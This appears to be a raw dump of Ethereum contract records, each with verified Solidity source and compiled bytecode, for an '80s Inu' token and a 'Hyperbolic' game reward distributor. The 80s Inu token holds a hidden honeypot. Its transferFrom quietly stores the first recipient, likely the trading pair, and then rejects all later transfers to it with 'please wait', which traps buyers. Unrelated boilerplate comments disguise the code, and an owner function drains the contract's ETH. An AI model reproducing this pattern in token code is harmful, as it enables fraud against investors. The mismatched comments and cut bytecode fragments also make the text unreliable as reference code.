f756e7472790000000000000000000000000000600082015250565b7f4d616c6c61626c65207369676e6174757265206572726f720000000000000000600082015250565b7f6e6f7420656e6f756768207065726d69747465642062616c616e636500000000600082015250565b7f616d6f756e74206d757374206265203e20300000000000000000000000000000600082015250565b7f636f6e74726f6c6c65722063616e6e6f74206265207065726d6974746564206960008201527f7373756572000000000000000000000000000000000000000000000000000000602082015250565b7f69737375657220616c7265616479207065726d69747465642c207265766f6b6560008201527f2066697273740000000000000000000000000000000000000000000000000000602082015250565b7f636f646520686173206e6f74206265656e20636f6d6d69746564000000000000600082015250565b7f616c72656164792072656465656d656400000000000000000000000000000000600082015250565b7f69737375657220616c7265616479207265766f6b656400000000000000000000600082015250565b7f756e617574686f72697a65642069737375657200000000000000000000000000600082015250565b7f62616420636c61696d20636f6465000000000000000000000000000000000000600082015250565b7f6e6f7420636f6e74726f6c6c6572000000000000000000000000000000000000600082015250565b7f63616e6e6f7420697373756520746f2073656c66000000000000000000000000600082015250565b612739816122f0565b811461274457600080fd5b50565b6127508161230e565b811461275b57600080fd5b50565b6127678161233a565b811461277257600080fd5b50565b61277e81612364565b811461278957600080fd5b50565b6127958161236e565b81146127a057600080fd5b5056fea2646970667358221220b06f041ec50b5abd45d8df3ca09337af63bc12c16bab3da9c651b9a89f72016464736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 1,411 |
0x535031aac356e289f56b08818e58617e2c2c9ed2 | /**
*Submitted for verification at Etherscan.io on 2021-11-09
*/
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
/*
*******
/*
____ ____ _____ ____ _____ _____ _____
.' __ '. .' '. |_ _||_ \|_ _||_ _||_ _|
| (__) | | .--. | .--. | | | \ | | | | | |
.`____'. | | | |( (`\] | | | |\ \| | | ' ' |
| (____) || `--' | `'.'. _| |_ _| |_\ |_ \ \__/ /
`.______.' '.____.' [\__) ) |_____||_____|\____| `.__.'
*/
//SPDX-License-Identifier: UNLICENSED
//To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "80s INU";
name = "80s Inu";
decimals = 9;
_totalSupply = 1000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
} | 0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610375578063d4ee1d901461043d578063dd62ed3e14610452578063f2fde38b1461048d576100f3565b806381f4f399146102df5780638da5cb5b1461031257806395d89b4114610327578063a9059cbb1461033c576100f3565b806323b872dd116100c657806323b872dd14610227578063313ce5671461026a57806370a082311461029557806379ba5097146102c8576100f3565b806306fdde03146100f8578063095ea7b31461018257806318160ddd146101cf5780631ee59f20146101f6575b600080fd5b34801561010457600080fd5b5061010d6104c0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018e57600080fd5b506101bb600480360360408110156101a557600080fd5b506001600160a01b03813516906020013561054e565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101e46105b5565b60408051918252519081900360200190f35b34801561020257600080fd5b5061020b6105f8565b604080516001600160a01b039092168252519081900360200190f35b34801561023357600080fd5b506101bb6004803603606081101561024a57600080fd5b506001600160a01b03813581169160208101359091169060400135610607565b34801561027657600080fd5b5061027f6107ab565b6040805160ff9092168252519081900360200190f35b3480156102a157600080fd5b506101e4600480360360208110156102b857600080fd5b50356001600160a01b03166107b4565b3480156102d457600080fd5b506102dd6107cf565b005b3480156102eb57600080fd5b506102dd6004803603602081101561030257600080fd5b50356001600160a01b031661084a565b34801561031e57600080fd5b5061020b610883565b34801561033357600080fd5b5061010d610892565b34801561034857600080fd5b506101bb6004803603604081101561035f57600080fd5b506001600160a01b0381351690602001356108ea565b34801561038157600080fd5b506101bb6004803603606081101561039857600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103c857600080fd5b8201836020820111156103da57600080fd5b803590602001918460018302840111640100000000831117156103fc57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ee945050505050565b34801561044957600080fd5b5061020b610b36565b34801561045e57600080fd5b506101e46004803603604081101561047557600080fd5b506001600160a01b0381358116916020013516610b45565b34801561049957600080fd5b506102dd600480360360208110156104b057600080fd5b50356001600160a01b0316610b70565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df546005546105f39163ffffffff610ba916565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061062a57506006546001600160a01b0316155b1561064f57600680546001600160a01b0319166001600160a01b0385161790556106a0565b6006546001600160a01b03848116911614156106a0576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106c9908363ffffffff610ba916565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610706908363ffffffff610ba916565b6001600160a01b03808616600090815260086020908152604080832033845282528083209490945591861681526007909152205461074a908363ffffffff610bbe16565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b031633146107e657600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461086157600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105465780601f1061051b57610100808354040283529160200191610546565b6006546000906001600160a01b038481169116141561093e576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b3360009081526007602052604090205461095e908363ffffffff610ba916565b33600090815260076020526040808220929092556001600160a01b03851681522054610990908363ffffffff610bbe16565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610b8757600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610bb857600080fd5b50900390565b818101828110156105af57600080fdfea265627a7a7231582048cdf102e5efc444eb9f1d8ef6a353e4f8325ac4d8ea1a7fd777837c256eacaf64736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,412 |
0xa0c3bf5ae1907fbbf94c879c2018a836ec254eb4 | /*
💹Website: https://www.hyperbolic.trade/
📉Telegram: https://t.me/HyperbolicArcade
📈Twitter: https://twitter.com/HyperbolicAT
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.7.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address trecipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract OwnableDistributor {
address private _owner;
address private _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event distributorTransferred(address indexed previousDistributor, address indexed newDistributor);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
_distributor = address(0);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function setDistributor(address _address) external onlyOwner {
require (_distributor == address(0));
_distributor = _address;
emit distributorTransferred(address(0), _address);
}
function rewardDistributor() public view returns (address) {
return _distributor;
}
modifier onlyDistributor() {
require(_distributor == msg.sender, "caller is not rewards distributor");
_;
}
}
contract HyperbolicDistibutor is OwnableDistributor {
using SafeMath for uint256;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) private gamersDatabase;
uint256 gamerRewardLimit;
event gamerAddedToDatabase (address gamerAddress, bool isAdded);
event gamerRemovedFromDatabase (address gamerAddress, bool isAdded);
event rewardTransfer(address indexed from, address indexed to, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() {
name = "Hyperbolic Distibutor | t.me/HyperbolicArcade";
symbol = "Hyperbolic Distibutor";
decimals = 9;
gamerRewardLimit = 5000000000000; //maximum amount of tokens per gamer (5 000) + decimals (9)
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) internal view returns (uint256) {
return allowed[_owner][_spender];
}
function _transfer(address _from, address _to, uint256 _value) private {
require(_from != address(0), "ERC20: transfer from the zero address");
require(_to != address(0), "ERC20: transfer to the zero address");
require(_value > 0, "Transfer amount must be greater than zero");
balances[_from] = balances[_from].sub(_value, "ERC20: transfer amount exceeds balance");
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function addNewGamerToDatabase(address _address) public onlyDistributor {
gamersDatabase[_address] = true;
emit gamerAddedToDatabase (_address, gamersDatabase[_address]);
}
function removeGamerFromDatabase(address _address) public onlyDistributor {
gamersDatabase[_address] = false;
emit gamerRemovedFromDatabase (_address, gamersDatabase[_address]);
}
function isGamerInDatabase(address _address) public view returns(bool) {
return gamersDatabase[_address];
}
function rewardLimitPerGamer() public view returns (uint256) {
return gamerRewardLimit.div(1*10**9);
//return the maximum amount of tokens per gamer, devied only here by decimals (9) for better clarity
}
function sendRewardToWinner(address _address, uint256 amount) external onlyDistributor {
require (owner() == address(0), "renouce owership required. The Owner must be zero address");
require (gamersDatabase[_address] == true, "address is not registred in gamers database");
require (amount <= gamerRewardLimit, "amount cannot be higher than limit");
require (_address != address(0), "zero address not allowed");
require (amount != 0, "amount cannot be zero");
balances[address(this)] = balances[address(this)].sub(amount, "reward pool is empty already");
balances[_address] = balances[_address].add(amount);
emit rewardTransfer(address(this), _address, amount);
}
}
/**
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. Neither the name of the copyright holder nor the names of its contributors may be
* used to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
* TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
**/ | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806375619ab5116100a2578063a9059cbb11610071578063a9059cbb1461050c578063acc2166a14610570578063aed7e7c8146105a4578063b82602d7146105fe578063c1a781651461061c57610116565b806375619ab5146103c3578063797607c2146104075780638da5cb5b1461045557806395d89b411461048957610116565b806327e235e3116100e957806327e235e3146102a4578063313ce567146102fc578063658835e01461031d57806370a0823114610361578063715018a6146103b957610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b610123610660565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106fe565b60405180821515815260200191505060405180910390f35b61020a6107f0565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f6565b60405180821515815260200191505060405180910390f35b6102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061091d565b6040518082815260200191505060405180910390f35b610304610935565b604051808260ff16815260200191505060405180910390f35b61035f6004803603602081101561033357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610948565b005b6103a36004803603602081101561037757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aec565b6040518082815260200191505060405180910390f35b6103c1610b35565b005b610405600480360360208110156103d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6104536004803603604081101561041d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e6f565b005b61045d611389565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104916113b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105586004803603604081101561052257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611450565b60405180821515815260200191505060405180910390f35b610578611467565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e6600480360360208110156105ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611491565b60405180821515815260200191505060405180910390f35b6106066114e7565b6040518082815260200191505060405180910390f35b61065e6004803603602081101561063257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611507565b005b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106f65780601f106106cb576101008083540402835291602001916106f6565b820191906000526020600020905b8154815290600101906020018083116106d957829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60095481565b60006108038484846116ab565b61089282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119be90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b60026020528060005260406000206000915090505481565b600860009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c846021913960400191505060405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f676befe0208baab4038147e957a3fad249d378293b24270f49f54ba6ada08c6681600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a150565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f13708f33fa131ff563559006c88f7fc51dd1bcaec084755f5d695c23baebb43c60405160405180910390a350565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c846021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610f35611389565b73ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180611cf46039913960400191505060405180910390fd5b60011515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180611d52602b913960400191505060405180910390fd5b6005548111156110a5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d7d6022913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f7a65726f2061646472657373206e6f7420616c6c6f776564000000000000000081525060200191505060405180910390fd5b60008114156111bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f616d6f756e742063616e6e6f74206265207a65726f000000000000000000000081525060200191505060405180910390fd5b611248816040518060400160405280601c81526020017f72657761726420706f6f6c20697320656d70747920616c726561647900000000815250600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a089092919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112dd81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f1487a47f19b2e43f5b877cdd8b6a372edf58b87f6efcf270715509e9d20411d7836040518082815260200191505060405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114485780601f1061141d57610100808354040283529160200191611448565b820191906000526020600020905b81548152906001019060200180831161142b57829003601f168201915b505050505081565b600061145d3384846116ab565b6001905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000611502633b9aca00600554611b5090919063ffffffff16565b905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c846021913960400191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fdb8b044d224951c9741a53b4eb809d4c4d07f2a30d914887c9afb31ec697ea0b81600460008473ffffffffffffffffffffffffffffffff